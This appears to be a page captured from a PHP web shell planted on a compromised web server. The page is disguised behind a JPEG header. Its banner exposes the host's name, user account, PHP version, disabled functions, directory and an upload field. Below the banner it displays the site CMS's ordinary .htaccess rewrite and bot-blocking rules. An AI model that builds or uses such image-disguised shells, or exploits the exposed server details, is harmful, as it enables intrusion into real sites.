ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/farolpborg/public_html/cms/ |
Upload File : |
RewriteEngine On
#bloquear o arquivo .htaccess contra acesso pela URL
<Files ~ "^\.(htaccess|htpasswd)$">
deny from all
</Files>
#desabilita pastas
Options -Indexes
#comprimir arquivos do site para consumir menos banda
<IfModule mod_deflate.c>
<FilesMatch "\.(js|css|jpg|png|gif|ico|php|html|htm)$">
<ifModule mod_filter.c>
SetOutputFilter DEFLATE
AddOutputFilterByType DEFLATE text/css text/javascript application/x-javascript text/html text/plain text/xml image/x-icon
</IfModule>
</FilesMatch>
</IfModule>
#bloquear requisição baseado no user-agent
SetEnvIfNoCase ^User-Agent$ .*(craftbot|download|extract|stripper|sucker|ninja|clshttp|webspider|leacher|collector|grabber|webpictures) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(libwww-perl|aesop_com_spiderman) HTTP_SAFE_BADBOT
Deny from env=HTTP_SAFE_BADBOT
#paginas de erro
#ErrorDocument 400 http://www.farolpb.org.br/cms
#ErrorDocument 401 http://www.farolpb.org.br/cms
#ErrorDocument 403 http://www.farolpb.org.br/cms
#ErrorDocument 404 http://www.farolpb.org.br/cms
#ErrorDocument 500 http://www.farolpb.org.br/cms
#ErrorDocument 502 http://www.farolpb.org.br/cms
#ErrorDocument 504 http://www.farolpb.org.br/cms
#caminho local
#RewriteBase /
#caminho web
RewriteCond %{HTTP_HOST} !^(www\.|localhost$) [NC]
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]
#urls
RewriteRule ^esqueceu-a-senha$ esqueceu.php
RewriteRule ^configuracoes/(.+)/(.+)$ configuracoes.php?op=$1&id=$2
RewriteRule ^configuracoes/(.+)$ configuracoes.php?op=$1
RewriteRule ^ordenar/(.+)$ ordenar.php?pagina=$1
RewriteRule ^noticias-form/(.+)/(.+)$ noticias-form.php?op=$1&id=$2
RewriteRule ^noticias-form/(.+)$ noticias-form.php?op=$1
RewriteRule ^noticias-imgs/(.+)$ noticias-imgs.php?id_noticia=$1
RewriteRule ^noticias-imgs-form/(.+)/(.+)/(.+)$ noticias-imgs-form.php?op=$1&id=$2&id_noticia=$3
RewriteRule ^noticias-imgs-form/(.+)$ noticias-imgs-form.php?op=$1
RewriteRule ^noticias-imgs-lege/(.+)$ noticias-imgs-lege.php?id_noticia=$1
RewriteRule ^noticias-cate-form/(.+)/(.+)$ noticias-cate-form.php?op=$1&id=$2
RewriteRule ^noticias-cate-form/(.+)$ noticias-cate-form.php?op=$1
RewriteRule ^noticias/(.+)$ noticias.php?id_categoria=$1
RewriteRule ^blog-form/(.+)/(.+)$ blog-form.php?op=$1&id=$2
RewriteRule ^blog-form/(.+)$ blog-form.php?op=$1
RewriteRule ^banners-form/(.+)/(.+)$ banners-form.php?op=$1&id=$2
RewriteRule ^banners-form/(.+)$ banners-form.php?op=$1
RewriteRule ^eventos-form/(.+)/(.+)$ eventos-form.php?op=$1&id=$2
RewriteRule ^eventos-form/(.+)$ eventos-form.php?op=$1
RewriteRule ^membros-form/(.+)/(.+)$ membros-form.php?op=$1&id=$2
RewriteRule ^membros-form/(.+)$ membros-form.php?op=$1
RewriteRule ^membros-area-form/(.+)/(.+)$ membros-area-form.php?op=$1&id=$2
RewriteRule ^membros-area-form/(.+)$ membros-area-form.php?op=$1
RewriteRule ^estaticas-form/(.+)/(.+)$ estaticas-form.php?op=$1&id=$2
RewriteRule ^estaticas-form/(.+)$ estaticas-form.php?op=$1
RewriteRule ^estaticas-imgs/(.+)$ estaticas-imgs.php?id_estatica=$1
RewriteRule ^estaticas-imgs-form/(.+)$ estaticas-imgs-form.php?op=$1
RewriteRule ^estaticas-imgs-lege/(.+)$ estaticas-imgs-lege.php?id_estatica=$1
RewriteRule ^depoimentos-form/(.+)/(.+)$ depoimentos-form.php?op=$1&id=$2
RewriteRule ^depoimentos-form/(.+)$ depoimentos-form.php?op=$1
RewriteRule ^diretores-form/(.+)/(.+)$ diretores-form.php?op=$1&id=$2
RewriteRule ^diretores-form/(.+)$ diretores-form.php?op=$1
RewriteRule ^parceiros-form/(.+)/(.+)$ parceiros-form.php?op=$1&id=$2
RewriteRule ^parceiros-form/(.+)$ parceiros-form.php?op=$1
RewriteRule ^convenios-form/(.+)/(.+)$ convenios-form.php?op=$1&id=$2
RewriteRule ^convenios-form/(.+)$ convenios-form.php?op=$1
RewriteRule ^convenios-cate-form/(.+)/(.+)$ convenios-cate-form.php?op=$1&id=$2
RewriteRule ^convenios-cate-form/(.+)$ convenios-cate-form.php?op=$1
RewriteRule ^emails-form/(.+)/(.+)$ emails-form.php?op=$1&id=$2
RewriteRule ^emails-form/(.+)$ emails-form.php?op=$1
RewriteRule ^uploader/(.+)$ uploader.php?op=$1
RewriteRule ^uploader-form/(.+)$ uploader-form.php?op=$1
RewriteRule ^usuarios-form/(.+)/(.+)$ usuarios-form.php?op=$1&id=$2
RewriteRule ^usuarios-form/(.+)$ usuarios-form.php?op=$1
#css / js
RewriteRule ^_assets/css/estilos.css$ _assets/css/estilos.php
RewriteRule ^_assets/js/scripts.js$ _assets/js/scripts.php
#transforma extensao
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^.?]+[^.?/]) $1.php [L]
#redireciona se chamar extensao .php
RewriteCond %{THE_REQUEST} ^[A-Z]{3,}\s([^.]+)\.(php|asp|aspx|jsp|xml|html|htm) [NC]
RewriteRule ^ %1 [R,L,NC]